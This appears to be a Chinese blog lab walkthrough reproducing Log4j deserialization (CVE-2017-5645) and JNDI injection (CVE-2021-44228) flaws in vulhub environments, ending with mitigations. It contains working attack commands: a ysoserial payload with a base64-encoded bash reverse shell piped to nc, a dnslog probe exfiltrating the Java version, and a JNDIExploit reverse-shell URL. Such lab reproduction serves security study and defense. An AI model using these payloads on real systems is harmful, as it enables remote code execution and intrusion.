【漏洞复现】Apache Log4j系列漏洞复现

一、Log4j反序列化命令执行漏洞(CVE-2017-5645)

1、漏洞原因

影响版本:Apache Log4j 2.x 版本(2.8.2之前的2.x版本)

Log4j 是一个广泛应用的Java 日志库,用来记录程序日志,并且支持远程服务器。是一个由Apache软件基金会维护的开源日志框架,它为Java应用程序提供了灵活的日志记录功能。该框架允许开发者通过配置文件来控制日志的输出目的地、输出格式、日志级别等,而无需修改应用程序代码。这使得日志管理变得更加灵活和高效。一些著名的开源项目,如sprint、hibernate、struts 都是使用该日志框架。

攻击者可以通过发送一个特别制作的2进制payload,在该组件将字节反序列化为对象时,触发并执行构造的payload代码。该漏洞主要是由于在处理ObjectInputStream时,接收函数对于不可靠来源的input没有过滤。可以通过给TcpSocketServer和UdpSocketServer添加可配置的过滤功能以及一些相关设置,可以有效的解决该漏洞。

2、环境搭建

vulhub 的CVE-2017-5645

1
docker-compose up -d

3、漏洞复现

使用ysoserial工具:网盘已提供

ysoserial 是一个Java反序列化的利用工具,包含了多种利用链,可以生成利用不安全的 Java 对象反序列化的恶意负载(payload)。

1
2
3
4
java -jar ysoserial.jar CommonsCollections5 "需要执行的脚本base64编码和解码命令" | nc 靶机IP 靶机端口

如:
java -jar ysoserial-master-30099844c6-1.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjMxLjUwLzQ0NDQgMD4mMQ==}|{base64,-d}|{bash,-i}" | nc 192.168.31.52 4712

image-20240227162307265

成功接收到反弹shell。这里经过尝试,需要在公网上执行进行中转

二、Log4j2远程代码执行漏洞(CVE-2021-44228)

1、漏洞原因

影响版本:Apache Log4j 2 的 2.0 到 2.14.1

log4j 是 Apache 的一个开源日志库,是一个基于 Java 的日志记录框架,而Log4j2 是 log4j 的后继者,其中引入了大量丰富的特性,可以控制日志信息输送的目的地为控制台、文件、GUI 组建等,被应用于业务系统开发,用于记录程序输入输出日志信息。log4j2 中存在JNDI注入漏洞,当程序记录用户输入的数据时,即可触发该漏洞,成功利用该漏洞可在目标服务器上造成远程代码执行(RCE)漏洞,执行任意代码。

漏洞的基本原理是Log4j2在处理日志消息时,会调用MessagePatternConverter消息组件中的format 方法,该方法会截取消息中的美元符号$连接花括号{}之间的字符串。如果这些字符串被设置为 jndi:ldap 的协议格式(例如${jndi:ldap://x.x.x.x:8000/xxx.class}),Log4j2解析到 jndi 则会去指定的x.x.x.x:8000 的 ldap 服务找对应的xxx.class,如果没有,则会尝试从远程机器的 http 服务上找,如果找到了则返回到 JNDI 接口和Log4j2 组件,那么Log4j2 组件会将其下载下来,发现是class 文件,就会去执行里面的代码。攻击者可以利用这一点,通过在日志消息中注入恶意的JNDI请求,导致Log4j2从攻击者控制的服务器下载并执行恶意代码。

2、环境搭建

vulhub — CVE-2021-44228

3、漏洞复现

访问靶机IP:8983

image-20240227170038072

1、构造POC

1
2
3
${jndi:ldap://${sys:java.version}.xxx.dnslog.cn}
访问:
http://127.0.0.1:8983/solr/admin/cores?action=${jndi:ldap://${sys:java.version}.xxx.dnslog.cn}

在dnslog平台看到回显,或者用BP 的Collaborator 也可以

2、反弹shell

我们用到JNDIExploit.v1.2 工具:网盘已提供

先在vps攻击机上进行监听

1
nc -lvvp 6666

然后用工具执行(需要1389、8080端口未占用)

1
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i vps_ip

执行POC

1
http://127.0.0.1:8983/solr/admin/cores?action=${jndi:ldap://10.211.55.3:1389/Basic/ReverseShell/10.211.55.23/6666}

成功获取shell

image-20240227175514673

未完待续:https://blog.csdn.net/Myon5/article/details/136548391

三、防御措施

  1. 更新Log4j版本:升级Log4j2到最新的安全版本(2.16或更高版本),这些版本已经修复了这个漏洞。
    如果无法立即升级,可以添加系统属性log4j2.formatMsgNoLookups=true来禁用消息查找功能。
  2. 限制外部服务器访问:限制或禁止对外部JNDI服务器的访问,特别是LDAP和RMI服务。
  3. 限制日志访问:限制对日志文件的访问权限,以防止未经授权的用户访问和操纵日志消息。